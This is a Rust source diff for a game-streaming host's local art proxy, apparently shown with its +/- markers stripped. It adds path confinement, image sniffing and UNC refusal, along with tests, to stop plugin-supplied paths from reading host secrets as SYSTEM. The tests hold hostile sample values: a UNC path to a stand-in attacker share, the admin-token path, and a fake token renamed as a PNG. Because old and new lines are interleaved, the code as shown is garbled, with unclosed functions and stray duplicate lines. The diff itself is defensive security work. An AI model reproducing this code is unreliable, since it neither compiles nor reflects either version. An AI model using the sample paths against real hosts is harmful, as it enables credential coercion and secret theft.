fn file_url_to_path(v: &str) -> std::borrow::Cow<'_, str> {
use std::borrow::Cow;
let Some(rest) = v.strip_prefix("file://") else {
return Cow::Borrowed(v);
};
let decoded = percent_decode(rest);
match decoded.strip_prefix('/') {
// `file:///…` — the empty-authority form. A Windows drive letter (`/C:/…`) loses the slash;
// a POSIX path keeps it.
Some(after) if after.as_bytes().get(1) == Some(&b':') => Cow::Owned(after.to_string()),
Some(_) => Cow::Owned(decoded),
// `file://server/share/…` — a UNC path in URL clothing.
None => Cow::Owned(format!("\\\\{}", decoded.replace('/', "\\"))),
/// The proxy runs in the **host process** — LocalSystem on Windows — and both the path and the
/// read-back are reachable from the plugin lane, which runs as the much weaker LocalService. Without
/// a root, "serve this entry's cover" is "read any file on the box as SYSTEM" (2026-08-05 review
/// H-2): `mgmt-token`, `key.pem`, the SAM hive. So the value is confined here, at the one place
/// bytes are read, rather than trusted because of where it was written.
///
/// Default: the users base (`C:\Users`), which is where every launcher keeps its art cache —
/// Playnite, the only local-art provider, stores covers under `%APPDATA%\Playnite`. Derived from
/// `%PUBLIC%`'s parent because the host runs as SYSTEM, whose own `%USERPROFILE%` is
/// `…\config\systemprofile` and tells us nothing about where the operator's launchers live.
/// `PUNKTFUNK_LIBRARY_ART_ROOTS` (`;`-separated) replaces the default for an operator whose library
/// is on another drive.
fn art_roots() -> Vec<PathBuf> {
if let Some(configured) = std::env::var_os("PUNKTFUNK_LIBRARY_ART_ROOTS") {
return std::env::split_paths(&configured)
.filter(|p| !p.as_os_str().is_empty())
.collect();
}
let mut roots = Vec::new();
// `%PUBLIC%` is `C:\Users\Public` on every supported Windows; its parent is the users base.
if let Some(public) = std::env::var_os("PUBLIC") {
if let Some(base) = PathBuf::from(public).parent() {
roots.push(base.to_path_buf());
}
}
if roots.is_empty() {
if let Some(drive) = std::env::var_os("SystemDrive") {
roots.push(PathBuf::from(drive).join("Users"));
}
}
roots
}
/// Percent-decode `%XX` escapes. Invalid escapes are left verbatim (a bare `%` in a real path is far
/// likelier than a malformed URL from our own kit), and the result is only ever used as a path that
/// must then exist as a regular file — so a wrong decode degrades to "no art", never to a wrong read.
fn percent_decode(s: &str) -> String {
let b = s.as_bytes();
let mut out = Vec::with_capacity(b.len());
let mut i = 0;
while i < b.len() {
if b[i] == b'%' && i + 2 < b.len() {
let hex = |c: u8| (c as char).to_digit(16);
if let (Some(hi), Some(lo)) = (hex(b[i + 1]), hex(b[i + 2])) {
out.push((hi * 16 + lo) as u8);
i += 3;
continue;
}
}
out.push(b[i]);
i += 1;
/// Whether `path` resolves inside one of [`art_roots`] and outside the host config dir.
///
/// Canonicalizes first, so a junction/symlink pointing out of the root is resolved before the
/// containment test rather than after it. The config-dir exclusion is unconditional — it holds even
/// if an operator's `PUNKTFUNK_LIBRARY_ART_ROOTS` were to contain it — because that directory is
/// where every host secret lives.
fn art_path_is_confined(path: &Path) -> bool {
// A UNC value (`\\attacker\share\a.png`) is refused outright: reading it would coerce the host's
// machine account into outbound SMB authentication to a peer of the caller's choosing.
if path.to_string_lossy().starts_with(r"\\") {
return false;
}
String::from_utf8(out).unwrap_or_else(|_| s.to_string())
let Ok(real) = path.canonicalize() else {
return false;
};
if let Ok(config) = pf_paths::config_dir().canonicalize() {
if real.starts_with(&config) {
return false;
}
}
art_roots()
.iter()
.filter_map(|r| r.canonicalize().ok())
.any(|root| real.starts_with(&root))
}
/// Sniff an image container from its leading bytes → the content type to serve. `None` for anything
/// that is not a recognized image.
///
/// The proxy serves what the bytes ARE, not what the extension claims, and refuses to serve at all
/// when they are not an image — which is what keeps an extensionless secret like `mgmt-token` (or a
/// `key.pem` renamed `cover.png`) from being returned as `application/octet-stream`.
fn sniff_image_type(bytes: &[u8]) -> Option<&'static str> {
let starts = |sig: &[u8]| bytes.starts_with(sig);
if starts(&[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A]) {
return Some("image/png");
}
if starts(&[0xFF, 0xD8, 0xFF]) {
return Some("image/jpeg");
}
if starts(b"GIF87a") || starts(b"GIF89a") {
return Some("image/gif");
}
if starts(b"RIFF") && bytes.len() >= 12 && &bytes[8..12] == b"WEBP" {
return Some("image/webp");
}
if starts(b"BM") {
return Some("image/bmp");
}
if starts(&[0x00, 0x00, 0x01, 0x00]) {
return Some("image/x-icon");
}
// TGA has no magic number. Validate the fixed header fields instead (colour-map type is 0/1,
// image type is one of the six defined codes) — enough that no plausible secret passes.
if bytes.len() >= 18
&& matches!(bytes[1], 0 | 1)
&& matches!(bytes[2], 0 | 1 | 2 | 3 | 9 | 10 | 11)
{
return Some("image/x-tga");
}
None
}
/// Whether a local art path is servable at all: known image extension, inside an allowed root. The
/// write-time half of the art confinement — [`validate_art_paths`] refuses to persist a value this
/// rejects, so an out-of-root path never reaches the catalog in the first place, and
/// [`local_art_bytes`] re-checks at read time so an entry written before this existed is still safe.
pub fn art_path_is_servable(value: &str) -> bool {
let p = Path::new(value);
let ext_ok = p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.is_some_and(|e| {
matches!(
e.as_str(),
"jpg" | "jpeg" | "png" | "webp" | "gif" | "bmp" | "ico" | "tga"
)
});
ext_ok && art_path_is_confined(p)
}
/// Reject any **local-file** art value that the proxy would refuse to serve, so an unservable path
/// (out of root, not an image, a UNC share) can never be persisted. URLs and already-proxied paths
/// are not this function's business and pass through. `Err` carries the offending field name.
pub fn validate_art_paths(art: &Artwork) -> Result<(), String> {
for (field, value) in [
("portrait", &art.portrait),
("hero", &art.hero),
("logo", &art.logo),
("header", &art.header),
] {
let Some(v) = value.as_deref() else { continue };
if is_local_art_path(v) && !art_path_is_servable(v) {
return Err(format!(
"art.{field}: local art must be an image file (jpg/png/webp/gif/bmp/ico/tga) inside \
an allowed art root set PUNKTFUNK_LIBRARY_ART_ROOTS if the library lives \
elsewhere, or send an http(s) URL instead"
));
}
}
Ok(())
}
/// Read a local image file into `(bytes, content-type)` for the art proxy. `None` if it isn't an
/// existing regular file, is empty, or exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory). Content-type is guessed from the extension. Accepts every shape
/// [`is_local_art_path`] does — a `file://` value is converted to a path first.
/// existing regular file, is empty, exceeds 16 MiB (a cover never approaches that; the cap bounds
/// host memory), resolves outside the allowed art roots ([`art_path_is_confined`]), or does not
/// actually contain an image ([`sniff_image_type`]).
///
/// This is the single place local art bytes are read — the mgmt art proxy and the GameStream
/// `/appasset` proxy both land here — so the confinement holds for every caller.
pub fn local_art_bytes(path: &str) -> Option<(Vec<u8>, String)> {
let path = file_url_to_path(path);
let p = std::path::Path::new(&*path);
if !art_path_is_servable(path) {
tracing::debug!(
path,
"art proxy: refusing a path outside the allowed art roots"
);
return None;
}
let p = std::path::Path::new(path);
let meta = std::fs::metadata(p).ok()?;
if !meta.is_file() || meta.len() == 0 || meta.len() > 16 * 1024 * 1024 {
return None;
}
let ctype = match p
.extension()
.and_then(|e| e.to_str())
.map(|e| e.to_ascii_lowercase())
.as_deref()
{
Some("jpg" | "jpeg") => "image/jpeg",
Some("png") => "image/png",
Some("webp") => "image/webp",
Some("gif") => "image/gif",
Some("bmp") => "image/bmp",
Some("ico") => "image/x-icon",
Some("tga") => "image/x-tga",
_ => "application/octet-stream",
}
.to_string();
Some((std::fs::read(p).ok()?, ctype))
let bytes = std::fs::read(p).ok()?;
// Serve what the bytes ARE. A file that is not an image is not served at all.
let ctype = sniff_image_type(&bytes)?;
Some((bytes, ctype.to_string()))
}
/// Resolve one art value to bytes for the Moonlight `/appasset` proxy: a local host file
@@ -288,22 +358,9 @@ pub fn proxy_local_art(id: &str, art: &mut Artwork) {
/// `(bytes, content-type)`. Resolves the id against the host's OWN library. Blocking — call off the
/// async runtime (e.g. `spawn_blocking`).
pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
// Same resolution order as the management art proxy (WP1.2): the stored catalog first, for ANY
// id, so a library plugin's entries resolve without the warmer knowing its store.
if let Some(entry) = entry_for_library_id(id) {
return [
ArtKind::Portrait,
ArtKind::Header,
ArtKind::Hero,
ArtKind::Logo,
]
.into_iter()
.filter_map(|kind| art_field(&entry.art, kind))
.find_map(|v| resolve_art_bytes(&v));
}
// Legacy in-host Steam scanner: its `Artwork` fields are relative proxy paths (see `steam_art`)
// the *client* resolves against the host — meaningless to `fetch_image`, which expects an
// absolute URL. Resolve those kinds directly instead of going through the URL fields.
// Steam's `Artwork` fields are now relative proxy paths (see `steam_art`) the *client* resolves
// against the host — meaningless to `fetch_image`, which expects an absolute URL. Resolve
// those kinds directly instead of going through the URL fields.
if let Some(appid) = id
.strip_prefix("steam:")
.and_then(|s| s.parse::<u32>().ok())
@@ -317,7 +374,6 @@ pub fn fetch_box_art(id: &str) -> Option<(Vec<u8>, String)> {
.into_iter()
.find_map(|kind| steam_art_bytes(appid, kind));
}
// The remaining in-host scanners (heroic/lutris/epic/gog/xbox) carry absolute CDN URLs.
let g = all_games().into_iter().find(|g| g.id == id)?;
[g.art.portrait, g.art.header, g.art.hero, g.art.logo]
.into_iter()
@@ -416,60 +472,19 @@ mod tests {
assert!(fetch_image("data:image/png;base64,").is_none());
}
/// The full accept/exclude table (WP1.2). The exclusions are the load-bearing half: two of the
/// three `/`-leading shapes here are emitted by the host ITSELF, so a POSIX rule that swallowed
/// them would break the proxy round-trip and silently drop CDN art.
#[test]
fn local_art_path_detection() {
// Windows-shaped local paths a provider (Playnite) would store.
assert!(is_local_art_path(r"C:\Users\me\cover.jpg"));
assert!(is_local_art_path("C:/Users/me/cover.png"));
assert!(is_local_art_path(r"\\nas\share\art.jpg"));
// The `file://` plugin contract, on both platform shapes.
assert!(is_local_art_path("file:///home/u/covers/x.jpg"));
assert!(is_local_art_path("file:///C:/covers/x.jpg"));
// POSIX absolute — lutris covers, steam librarycache.
assert!(is_local_art_path("/home/u/.cache/lutris/coverart/x.jpg"));
assert!(is_local_art_path("/var/lib/steam/librarycache/570/h.jpg"));
// URLs are NOT local files.
// URLs and the host proxy path are NOT local files.
assert!(!is_local_art_path("https://cdn/x.jpg"));
assert!(!is_local_art_path("http://host/x.jpg"));
assert!(!is_local_art_path("data:image/png;base64,AAAA"));
// …nor is the host's OWN art-proxy path (it must survive a second `proxy_local_art` pass).
assert!(!is_local_art_path(
"/api/v1/library/art/custom:abc/portrait"
));
assert!(!is_local_art_path("/api/v1/library/art/steam:570/hero"));
// …nor a protocol-relative CDN URL (what GOG / the MS catalog return — see `abs_url`).
assert!(!is_local_art_path("//images.gog.com/abc_vertical.jpg"));
// A relative path is not absolute — nothing to serve.
assert!(!is_local_art_path("covers/x.jpg"));
assert!(!is_local_art_path(""));
}
#[test]
fn file_url_converts_to_a_path_and_percent_decodes() {
assert_eq!(file_url_to_path("file:///home/u/c.jpg"), "/home/u/c.jpg");
// Percent-encoded spaces — what a correct URL encoder emits for a real-world cover path.
assert_eq!(
file_url_to_path("file:///home/u/My%20Games/c%2Bx.jpg"),
"/home/u/My Games/c+x.jpg"
);
// Windows drive letters arrive after the empty authority's slash and lose it.
assert_eq!(
file_url_to_path("file:///C:/covers/c.jpg"),
"C:/covers/c.jpg"
);
// A non-empty authority is a UNC reference.
assert_eq!(
file_url_to_path("file://nas/share/c.jpg"),
r"\\nas\share\c.jpg"
);
// Non-`file://` values are returned untouched (bare paths still work).
assert_eq!(file_url_to_path("/home/u/c.jpg"), "/home/u/c.jpg");
assert_eq!(file_url_to_path(r"C:\c.jpg"), r"C:\c.jpg");
// A lone `%` (a legal path character) is not mangled into a decode failure.
assert_eq!(file_url_to_path("file:///home/100%.jpg"), "/home/100%.jpg");
}
#[test]
@@ -493,73 +508,116 @@ mod tests {
);
}
/// A POSIX local cover — the shape the lutris pilot and the steam plugin emit — makes the whole
/// round trip: detected as local, rewritten to the proxy path, and read back as bytes. This is
/// the case G4 blocked (Lutris art was inlined as `data:` URLs and blew the 2 MB body limit).
#[test]
fn posix_local_art_round_trips_through_the_proxy() {
let dir = std::env::temp_dir().join(format!("pf-art-posix-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join("cover.jpg");
std::fs::write(&f, [9u8, 9, 9]).unwrap();
let path = f.to_str().unwrap().to_string();
const PNG: &[u8] = &[0x89, b'P', b'N', b'G', 0x0D, 0x0A, 0x1A, 0x0A, 0, 0, 0, 13];
let mut art = Artwork {
portrait: Some(path.clone()),
hero: Some(format!("file://{path}")),
logo: Some("https://cdn/l.png".into()),
/// The art proxy reads bytes in the HOST process (LocalSystem on Windows) from a path the
/// plugin lane can write — so what it will and will not read IS the security boundary
/// (2026-08-05 review H-2). Confinement, extension, and content are all load-bearing.
#[test]
fn local_art_bytes_is_confined_and_image_only() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
let outside = std::env::temp_dir().join(format!("pf-art-out-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
std::fs::create_dir_all(&outside).unwrap();
// Confine the proxy to `dir` for the duration of this test.
std::env::set_var("PUNKTFUNK_LIBRARY_ART_ROOTS", &dir);
// A real image inside the root: served, with the content type SNIFFED from the bytes.
let cover = dir.join("cover.png");
std::fs::write(&cover, PNG).unwrap();
let (bytes, ctype) = local_art_bytes(cover.to_str().unwrap()).expect("reads a real cover");
assert_eq!(bytes, PNG);
assert_eq!(ctype, "image/png");
// A secret is not served, however it is dressed up. This is the H-2 primitive: the plugin
// writes the path, the host reads it as SYSTEM, and `mgmt-token` is full admin.
let secret = dir.join("mgmt-token");
std::fs::write(&secret, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(secret.to_str().unwrap()).is_none(),
"an extensionless secret must not be served as application/octet-stream"
);
let disguised = dir.join("mgmt-token.png");
std::fs::write(&disguised, b"super-secret-admin-token").unwrap();
assert!(
local_art_bytes(disguised.to_str().unwrap()).is_none(),
"an image extension must not be enough — the bytes must BE an image"
);
// Outside the configured root: refused even though it is a genuine image.
let elsewhere = outside.join("cover.png");
std::fs::write(&elsewhere, PNG).unwrap();
assert!(
local_art_bytes(elsewhere.to_str().unwrap()).is_none(),
"a path outside every art root must be refused"
);
// …and a path that only *escapes* via traversal is caught, because we canonicalize first.
let traversal = dir
.join("..")
.join(outside.file_name().unwrap())
.join("cover.png");
assert!(
local_art_bytes(traversal.to_str().unwrap()).is_none(),
"`..` out of the root must be refused after canonicalization"
);
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A UNC path is refused outright (outbound SMB auth coercion), before any filesystem hit.
assert!(!art_path_is_servable(r"\\attacker\share\a.png"));
std::env::remove_var("PUNKTFUNK_LIBRARY_ART_ROOTS");
let _ = std::fs::remove_dir_all(&dir);
let _ = std::fs::remove_dir_all(&outside);
}
/// Write-time validation refuses what read-time would refuse, so an unservable path never even
/// reaches `library.json`. URLs are none of its business.
#[test]
fn validate_art_paths_rejects_unservable_local_paths() {
let ok = Artwork {
portrait: Some("https://cdn/x.jpg".into()),
hero: Some("data:image/png;base64,AAAA".into()),
logo: Some("/api/v1/library/art/custom:x/logo".into()),
header: None,
};
// Only on non-Windows is a temp path POSIX-absolute; on Windows it is drive-absolute, which
// the pre-existing rule already accepted — either way both fields are local.
assert!(is_local_art_path(&path));
proxy_local_art("lutris:42", &mut art);
assert_eq!(
art.portrait.as_deref(),
Some("/api/v1/library/art/lutris:42/portrait")
);
assert_eq!(
art.hero.as_deref(),
Some("/api/v1/library/art/lutris:42/hero"),
"a file:// value is local art too"
);
assert_eq!(art.logo.as_deref(), Some("https://cdn/l.png"));
assert!(validate_art_paths(&ok).is_ok(), "URLs pass through");
// Re-running the rewrite is a no-op — the emitted proxy path must not be mistaken for a file.
let before = art.portrait.clone();
proxy_local_art("lutris:42", &mut art);
assert_eq!(art.portrait, before);
let unc = Artwork {
portrait: Some(r"\\attacker\share\a.png".into()),
..Default::default()
};
assert!(
validate_art_paths(&unc).is_err(),
"UNC is refused at write time"
);
// Both spellings read back to the same bytes.
assert_eq!(local_art_bytes(&path).expect("bare path").0, vec![9, 9, 9]);
assert_eq!(
local_art_bytes(&format!("file://{path}"))
.expect("file url")
.0,
vec![9, 9, 9]
let secret = Artwork {
hero: Some(r"C:\ProgramData\punktfunk\mgmt-token".into()),
..Default::default()
};
let err = validate_art_paths(&secret).expect_err("a secret path is refused");
assert!(
err.starts_with("art.hero"),
"the error names the field: {err}"
);
let _ = std::fs::remove_dir_all(&dir);
}
#[test]
fn local_art_bytes_reads_a_real_file() {
let dir = std::env::temp_dir().join(format!("pf-art-test-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let f = dir.join("cover.png");
std::fs::write(&f, [1u8, 2, 3, 4]).unwrap();
let (bytes, ctype) = local_art_bytes(f.to_str().unwrap()).expect("reads file");
assert_eq!(bytes, vec![1, 2, 3, 4]);
assert_eq!(ctype, "image/png");
assert!(local_art_bytes(dir.join("nope.png").to_str().unwrap()).is_none());
// A directory is not a servable cover, and neither is a traversal that lands on one — the
// "existing REGULAR file" check is the confinement, since a plugin's art values are
// operator-trusted paths but must still never turn the proxy into a directory reader.
assert!(local_art_bytes(dir.to_str().unwrap()).is_none());
let up = dir.join("..").join(dir.file_name().unwrap());
assert!(
local_art_bytes(up.to_str().unwrap()).is_none(),
"dir via .."
fn sniff_image_type_recognizes_containers_and_rejects_secrets() {
assert_eq!(sniff_image_type(PNG), Some("image/png"));
assert_eq!(
sniff_image_type(&[0xFF, 0xD8, 0xFF, 0xE0]),
Some("image/jpeg")
);
let _ = std::fs::remove_dir_all(&dir);
assert_eq!(sniff_image_type(b"GIF89a...."), Some("image/gif"));
assert_eq!(
sniff_image_type(b"RIFF\0\0\0\0WEBPVP8 "),
Some("image/webp")
);
assert_eq!(sniff_image_type(b"BM\0\0"), Some("image/bmp"));
// The shapes a stolen secret actually has.
assert_eq!(sniff_image_type(b"-----BEGIN PRIVATE KEY-----"), None);
assert_eq!(sniff_image_type(b"9f8a7b6c5d4e3f2a1b0c"), None);
assert_eq!(sniff_image_type(b""), None);
}
}
+117 -431
View File
@@ -28,17 +28,6 @@ pub struct CustomEntry {
/// host-assigned `id` stays stable across reconciles. Present iff `provider` is.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub external_id: Option<String>,
/// The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.
/// `None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.
///
/// Materialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an
/// entry is self-describing: its id and its `store` badge derive from the entry alone, and stay
/// correct even while the claim map is being rewritten.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub store: Option<String>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
#[serde(default, skip_serializing_if = "GameRole::is_game")]
pub role: GameRole,
/// How to recognize this title's process once it is running (design §9) — the one thing a
/// provider knows that the host cannot work out for itself.
///
@@ -64,10 +53,6 @@ pub struct CustomInput {
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher
/// entry is legal (an operator may want a "Steam" tile without installing the steam plugin).
#[serde(default)]
pub role: GameRole,
/// How to recognize this title's process — see [`CustomEntry::detect`].
#[serde(default)]
pub detect: DetectHint,
@@ -91,10 +76,6 @@ pub struct ProviderEntryInput {
/// Per-title prep/undo steps — commands run as the host user; operator-privileged config.
#[serde(default)]
pub prep: Vec<crate::hooks::PrepCmd>,
/// Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin
/// emits its `launchers(cfg)` entries with `role: "launcher"`.
#[serde(default)]
pub role: GameRole,
/// How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its
/// titles' install directories (Playnite does) should send them: it is what lets a game launched
/// through the provider's own client still end its session when the player quits.
@@ -120,13 +101,10 @@ impl From<CustomEntry> for GameEntry {
.unwrap_or_default()
.or_hint(&c.detect);
GameEntry {
id: library_id_for(&c),
// A claimed entry wears its store's badge; everything else is `custom`. `provider` rides
// along either way, so attribution ("synced by the steam plugin") survives the claim.
store: c.store.clone().unwrap_or_else(|| "custom".into()),
id: format!("custom:{}", c.id),
store: "custom".into(),
title: c.title,
art: c.art,
role: c.role,
launch: c.launch,
provider: c.provider,
detect,
@@ -144,123 +122,42 @@ fn custom_path() -> PathBuf {
pf_paths::config_dir().join("library.json")
}
/// The persisted catalog (`library.json` **v2**): the entries plus the store-claim map (D2).
#[derive(Debug, Default, Serialize, Deserialize)]
pub struct Catalog {
#[serde(default)]
pub entries: Vec<CustomEntry>,
/// `store id → provider id`. One provider per store; a second claimant is refused (409).
///
/// The map — not the entries — is the authority for a claim, which is exactly why it survives an
/// **empty reconcile**: a store the plugin legitimately owns can have zero installed titles, and
/// the built-in scanner it suppresses must stay suppressed anyway. Releasing is explicit
/// (`DELETE /library/provider/{p}`, or the plugin claiming a different store).
#[serde(default)]
pub claims: BTreeMap<String, String>,
}
/// What `library.json` may contain on disk. v1 was a bare array of entries; v2 is the [`Catalog`]
/// object. Untagged, so an existing v1 file loads unchanged — and the host always WRITES v2, so the
/// first mutation after an upgrade migrates the file in place with no separate migration step.
#[derive(Deserialize)]
#[serde(untagged)]
enum LibraryFile {
V2(Catalog),
Legacy(Vec<CustomEntry>),
}
/// Load the whole catalog (default + non-fatal if the file is absent or malformed).
pub fn load_catalog() -> Catalog {
match std::fs::read_to_string(custom_path()) {
Ok(raw) => match serde_json::from_str::<LibraryFile>(&raw) {
Ok(LibraryFile::V2(c)) => c,
Ok(LibraryFile::Legacy(entries)) => Catalog {
entries,
claims: BTreeMap::new(),
},
Err(e) => {
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
Catalog::default()
}
},
Err(_) => Catalog::default(),
}
}
/// Load just the entries — the read path every library surface uses.
/// Load the custom entries (empty + non-fatal if the file is absent or malformed).
pub fn load_custom() -> Vec<CustomEntry> {
load_catalog().entries
}
/// The active store claims (`store → provider`). Read per library scan to suppress the built-in
/// scanner a plugin has taken over (D2).
pub fn claimed_stores() -> BTreeMap<String, String> {
load_catalog().claims
}
/// The library id a stored entry surfaces as. **The single source of truth for the mapping** —
/// [`From<CustomEntry> for GameEntry`] and every id→entry lookup go through it, so the id scheme
/// can't drift between the catalog, the art proxy and the launch resolver.
///
/// A **claimed** entry (D2) gets the deterministic `<store>:<external_id>` its built-in scanner used
/// to produce — `steam:440`, `heroic:legendary:Quail` — so entry ids, GameStream FNV-1a app ids,
/// client art caches and Moonlight pins all survive the migration to a plugin untouched. That is the
/// whole point of the claim: extraction must be invisible to everything downstream. An unclaimed
/// entry keeps the opaque host-assigned `custom:<id>`.
pub(crate) fn library_id_for(e: &CustomEntry) -> String {
match (e.store.as_deref(), e.external_id.as_deref()) {
(Some(store), Some(external)) => format!("{store}:{external}"),
_ => format!("custom:{}", e.id),
match std::fs::read_to_string(custom_path()) {
Ok(raw) => serde_json::from_str(&raw).unwrap_or_else(|e| {
tracing::warn!(error = %e, "library.json malformed — ignoring custom entries");
Vec::new()
}),
Err(_) => Vec::new(),
}
}
/// The **source id** an entry is toggled by (WP2.6): its claimed store when it has one, else its
/// provider id. `None` for a manual entry — the custom store is not a source and can never be
/// switched off. Since the claimed store id, the provider id and the old scanner id are all the same
/// string by construction, a user's existing disabled state carries over verbatim.
pub(crate) fn source_id_for(e: &CustomEntry) -> Option<&str> {
e.store.as_deref().or(e.provider.as_deref())
}
/// The stored entry a full **library id** refers to, or `None`. The art proxy resolves *any* id this
/// way before falling back to the legacy per-store branches (WP1.2), which is what lets a plugin's
/// entries be served regardless of what their ids look like.
pub fn entry_for_library_id(library_id: &str) -> Option<CustomEntry> {
load_custom()
.into_iter()
.find(|e| library_id_for(e) == library_id)
}
/// Serve a stored entry's **local** art file for one [`ArtKind`] — the `library.json` branch of the
/// art proxy (`GET /library/art/<library id>/<kind>`). `None` if the id names no stored entry, it has
/// no art of that kind, or that art value isn't a servable local file (e.g. an `http` URL the client
/// fetches itself). Blocking IO — call off the async runtime.
pub fn library_local_art_bytes(library_id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
let field = art_field(&entry_for_library_id(library_id)?.art, kind)?;
/// Serve a custom/provider entry's stored **local** art file for one [`ArtKind`] — the non-Steam
/// branch of the art proxy (`GET /library/art/custom:<id>/<kind>`). `id` is the bare custom id (the
/// `custom:` prefix already stripped by the handler). `None` if the entry is unknown, has no art of
/// that kind, or that art value isn't a servable local file (e.g. an `http` URL the client fetches
/// itself). Blocking IO — call off the async runtime.
pub fn custom_local_art_bytes(id: &str, kind: ArtKind) -> Option<(Vec<u8>, String)> {
let entry = load_custom().into_iter().find(|e| e.id == id)?;
let field = match kind {
ArtKind::Portrait => entry.art.portrait,
ArtKind::Hero => entry.art.hero,
ArtKind::Logo => entry.art.logo,
ArtKind::Header => entry.art.header,
}?;
is_local_art_path(&field)
.then(|| local_art_bytes(&field))
.flatten()
}
/// One [`Artwork`] field by kind — the tiny mapping the proxy and the box-art ladder share.
pub(crate) fn art_field(art: &Artwork, kind: ArtKind) -> Option<String> {
match kind {
ArtKind::Portrait => art.portrait.clone(),
ArtKind::Hero => art.hero.clone(),
ArtKind::Logo => art.logo.clone(),
ArtKind::Header => art.header.clone(),
}
}
/// Persist the catalog in the **v2** shape (write-then-rename, restrictive perms). Every mutation
/// path funnels through here, so a v1 file is upgraded by the first write.
fn save_catalog(catalog: &Catalog) -> Result<()> {
fn save_custom(entries: &[CustomEntry]) -> Result<()> {
let dir = pf_paths::config_dir();
// Owner-private dir (0700 / SYSTEM+Admins DACL) so a non-privileged local user can't plant a
// library.json whose `prep`/`launch` commands the host would later execute — the same trust
// boundary hooks.json and the mgmt token already use.
pf_paths::create_private_dir(&dir).with_context(|| format!("create {}", dir.display()))?;
let json = serde_json::to_string_pretty(catalog)?;
let json = serde_json::to_string_pretty(entries)?;
// Write-then-rename so a crash mid-write never truncates the catalog; `write_secret_file` gives
// the temp file its restrictive perms (0600 / SYSTEM+Admins DACL) before the rename carries them
// to the final path.
@@ -280,26 +177,19 @@ fn new_id(title: &str) -> String {
hex::encode(&Sha256::digest(format!("{title}:{nanos}").as_bytes())[..6])
}
/// Outcome of a mutation — distinguishes "no such entry" from the two conflict cases the mgmt
/// layer maps to 409 rather than 404.
/// Outcome of a manual mutation against an id — distinguishes "no such entry" from "exists,
/// but a provider owns it" (the mgmt layer maps the latter to 409, not 404).
pub enum MutateOutcome<T> {
Done(T),
NotFound,
/// The entry belongs to this provider — mutate it through the provider reconcile API
/// (or remove the whole provider set); manual edits would be clobbered at the next sync.
ProviderOwned(String),
/// The requested store claim is already held by a DIFFERENT provider (D2: one provider per
/// store). Refusing is the point — two plugins both emitting `steam:440` would collide on entry
/// ids, so the second claimant is told who holds it instead of silently taking over.
StoreClaimed {
store: String,
provider: String,
},
}
/// Create a custom (manual) entry, returning it with its assigned id.
pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
let mut catalog = load_catalog();
let mut entries = load_custom();
let entry = CustomEntry {
id: new_id(&input.title),
title: input.title,
@@ -308,13 +198,11 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
prep: input.prep,
provider: None,
external_id: None,
store: None,
role: input.role,
detect: input.detect,
meta: input.meta,
};
catalog.entries.push(entry.clone());
save_catalog(&catalog)?;
entries.push(entry.clone());
save_custom(&entries)?;
emit_changed("manual");
Ok(entry)
}
@@ -322,8 +210,8 @@ pub fn add_custom(input: CustomInput) -> Result<CustomEntry> {
/// Replace a manual entry's fields (id preserved). Provider-owned entries are refused —
/// their state belongs to the provider's reconcile (RFC §8 ownership rule).
pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<CustomEntry>> {
let mut catalog = load_catalog();
let Some(slot) = catalog.entries.iter_mut().find(|e| e.id == id) else {
let mut entries = load_custom();
let Some(slot) = entries.iter_mut().find(|e| e.id == id) else {
return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &slot.provider {
@@ -333,32 +221,59 @@ pub fn update_custom(id: &str, input: CustomInput) -> Result<MutateOutcome<Custo
slot.art = input.art;
slot.launch = input.launch;
slot.prep = input.prep;
slot.role = input.role;
slot.detect = input.detect;
slot.meta = input.meta;
let updated = slot.clone();
save_catalog(&catalog)?;
save_custom(&entries)?;
emit_changed("manual");
Ok(MutateOutcome::Done(updated))
}
/// Delete a manual entry. Provider-owned entries are refused (see [`update_custom`]).
pub fn delete_custom(id: &str) -> Result<MutateOutcome<()>> {
let mut catalog = load_catalog();
let Some(entry) = catalog.entries.iter().find(|e| e.id == id) else {
let mut entries = load_custom();
let Some(entry) = entries.iter().find(|e| e.id == id) else {
return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &entry.provider {
return Ok(MutateOutcome::ProviderOwned(provider.clone()));
}
catalog.entries.retain(|e| e.id != id);
save_catalog(&catalog)?;
entries.retain(|e| e.id != id);
save_custom(&entries)?;
emit_changed("manual");
Ok(MutateOutcome::Done(()))
}
// ------------------------------------------------------------------ providers (RFC §8)
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
/// fields whose contents the host later executes as the host user.
///
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
/// human typed the command into the admin console. Any lane that is not the operator's own token
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
///
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
